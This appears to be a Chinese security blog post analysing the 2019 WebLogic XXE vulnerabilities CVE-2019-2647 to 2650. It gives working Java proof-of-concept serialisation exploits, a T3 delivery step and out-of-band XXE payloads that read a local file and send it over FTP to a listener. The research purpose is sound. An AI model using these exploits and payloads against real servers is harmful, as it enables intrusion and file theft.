WebLogic CVE-2019-2647~2650 XXE漏洞分析

Oracle发布了4月份的补丁，详情见链接( https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW )

@xxlegend在《 weblogic CVE-2019-2647等相关XXE漏洞分析 》分析了其中的一个XXE漏洞点，并给出了PoC。刚入手java不久，本着学习的目的，自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程，新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode，没有他的帮助我可能环境搭起来都会花费一大半时间。

根据JAVA常见XXE写法与防御方式(参考 https://blog.spoock.com/2018/10/23/java-xxe/ )，通过对比补丁，发现新补丁以下四处进行了 setFeature 操作:

应该就是对应的四个CVE了，其中 ForeignRecoveryContext @xxlegend大佬已经分析过了，这里就不再分析了，下面主要是分析下其他三个点

• Windows 10

• WebLogic 10.3.6.0

• Jdk160_29（WebLogic 10.3.6.0自带的JDK）

WsrmServerPayloadContext 修复后的代码如下:

package weblogic.wsee.reliability;
import ...
public class WsrmServerPayloadContext extends WsrmPayloadContext {
    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        ...
        }
        private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
            ...
            ByteArrayInputStream var15 = new ByteArrayInputStream(var3);
            try {
                DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();
                try {
                    String var8 = "http://xml.org/sax/features/external-general-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://xml.org/sax/features/external-parameter-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
                    var7.setFeature(var8, false);
                    var7.setXIncludeAware(false);
                    var7.setExpandEntityReferences(false);
                } catch (Exception var11) {
                    if (verbose) {
                        Verbose.log("Failed to set factory:" + var11);
                    }
                }
           ...
        }
}

可以看到进行了 setFeature 操作防止xxe攻击，而未打补丁之前是没有进行 setFeature 操作的

readExternal 在反序列化对象时会被调用，与之对应的 writeExternal 在序列化对象时会被调用，看下 writeExternal 的逻辑:

var1 就是 this.formENdpt ，注意 var5.serialize 可以传入三种类型的对象， var1.getEndptElement() 返回的是 Element 对象，先尝试新建一个项目构造一下 PoC :

结构如下

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static class MyEndpointReference extends EndpointReference {
        @Override
        public Element getEndptElement() {
            super.getEndptElement();
            Document doc = null;
            Element element = null;
            try {
                DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
                //从DOM工厂中获得DOM解析器
                DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
                //创建文档树模型对象
                doc = dbBuilder.parse("test.xml");
                element = doc.getDocumentElement();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return element;
        }
    }
    public static Object getXXEObject() {
        EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();
        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {
            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);
            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

test.xml内容如下，my.dtd暂时为空就行，先测试能否接收到请求:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [
        <!ELEMENT data (#PCDATA)>
        ]>
<data>4</data>

运行PoC，生成的反序列化数据xxe，使用十六进制查看器打开:

发现DOCTYPE无法被引入

我尝试了下面几种方法：

• 在上面说到 var5.serialize 可以传入 Document 对象，测试了下，的确可以，但是如何使 getEndptElement 返回一个 Document 对象呢？

• 尝试了自己创建一个 EndpointReference 类，修改 getEndptElement 返回对象，内容和原始内容一样，但是在反序列化时找不到我创建的类，原因是自己建的类 package 与原来的不同，所以失败了

• 尝试像Python那样动态替换一个类的方法，貌似Java好像做不到...

• 尝试了一个暴力的方法，替换Jar包中的类。首先复制出Weblogic的 modules 文件夹与 wlserver_10.3\server\lib 文件夹到另一个目录，将 wlserver_10.3\server\lib\weblogic.jar 解压，将 WsrmServerPayloadContext.class 类删除，重新压缩为 weblogic.Jar ，然后新建一个项目，引入需要的Jar文件（ modules 和 wlserver_10.3\server\lib 中所有的Jar包），然后新建一个与 WsrmServerPayloadContext.class 同样的包名，在其中新建 WsrmServerPayloadContext.class 类，复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据，对readExternal反序列化没有影响)。

  WsrmServerPayloadContext.class 修改的内容如下:

• 经过测试第二种方式是可行的，但是好像过程略复杂。然后尝试了下新建一个与原始 WsrmServerPayloadContext.class 类同样的包名，然后进行修改，修改内容与第二种方式一样

• 测试这种方式也是可行的，比第二种方式操作起来方便些

构造新的PoC:

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getXXEObject() {
        EndpointReference fromEndpt = new EndpointReference();
        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {
            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);
            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

查看下新生成的xxe十六进制:

DOCTYPE被写入了

测试下，使用T3协议脚本向WebLogic 7001端口发送序列化数据:

漂亮，接收到请求了，接下来就是尝试下到底能不能读取到文件了

构造的test.xml如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
        <!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt">
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
        %dtd;
        %send;
        ]>
<ANY>xxe</ANY>

my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空，然后，不然在 dbBuilder.parse 时会报错无法生成正常的反序列化数据，至于为什么，只有自己测试下才会明白):

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'ftp://127.0.0.1:2121/%file;'>"
>
%all;

运行PoC生成反序列化数据，测下发现请求都接收不到了...，好吧，查看下十六进制:

%dtd;%send; 居然不见了...，可能是因为DOM解析器的原因，my.dtd内容为空，数据没有被引用。

尝试debug看下:

可以看到 %dtd;%send; 确实是被处理掉了

测试下正常的加载外部数据，my.dtd改为如下:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8000/gen.xml'>"
>
%all;

gen.xml为:

<?xml version="1.0" encoding="UTF-8"?>

debug看下:

可以看到 %dtd;%send; 被my.dtd里面的内容替换了。debug大致看了xml解析过程，中间有一个 EntityScanner ，会检测xml中的ENTITY，并且会判断是否加载了外部资源，如果加载了就外部资源加载进来，后面会将实体引用替换为实体申明的内容。也就是说，我们构造的反序列化数据中的xml数据，已经被解析过一次了，而需要的是没有被解析过的数据，让目标去解析。

所以我尝试修改了十六进制如下，使得xml修改成没有被解析的形式:

运行PoC测试下，

居然成功了，一开始以为反序列化生成的xml数据那块还会进行校验，不然反序列化不了，直接修改数据是不行的，没想到直接修改就可以了

与 WsrmServerPayloadContext 差不多，PoC构造也是新建包然后替换，就不详细分析了，只说下类修改的地方与PoC构造

新建 UnknownMsgHeader 类，修改 writeExternal

PoC如下:

public class WeblogicXXE2 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getXXEObject() {
        QName qname = new QName("a", "b", "c");
        Element xmlHeader = null;
        UnknownMsgHeader umh = new UnknownMsgHeader();
        try {
            Field f1 = umh.getClass().getDeclaredField("qname");
            f1.setAccessible(true);
            f1.set(umh, qname);
            Field f2 = umh.getClass().getDeclaredField("xmlHeader");
            f2.setAccessible(true);
            f2.set(umh, xmlHeader);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return umh;
    }
}

运行PoC测试下(生成的步骤与第一个漏洞点一样)，使用T3协议脚本向WebLogic 7001端口发送序列化数据:

这个类看似需要构造的东西挺多的， readExternal 与 writeExternal 的逻辑也比前两个复杂些，但是PoC构造也很容易

新建 WsrmSequenceContext 类，修改

PoC如下:

public class WeblogicXXE3 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getXXEObject() {
        EndpointReference acksTo = new EndpointReference();
        WsrmSequenceContext wsc = new WsrmSequenceContext();
        try {
            Field f1 = wsc.getClass().getDeclaredField("acksTo");
            f1.setAccessible(true);
            f1.set(wsc, acksTo);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wsc;
    }
}

测试下，使用T3协议脚本向WebLogic 7001端口发送序列化数据:

好了，分析完成了。第一次分析Java的漏洞，还有很多不足的地方，但是分析的过程中也学到了很多，就算是一个看似很简单的点，如果不熟悉Java的一特性，会花费较长的时间去折腾。所以，一步一步走吧，不要太急躁，还有很多东西要学。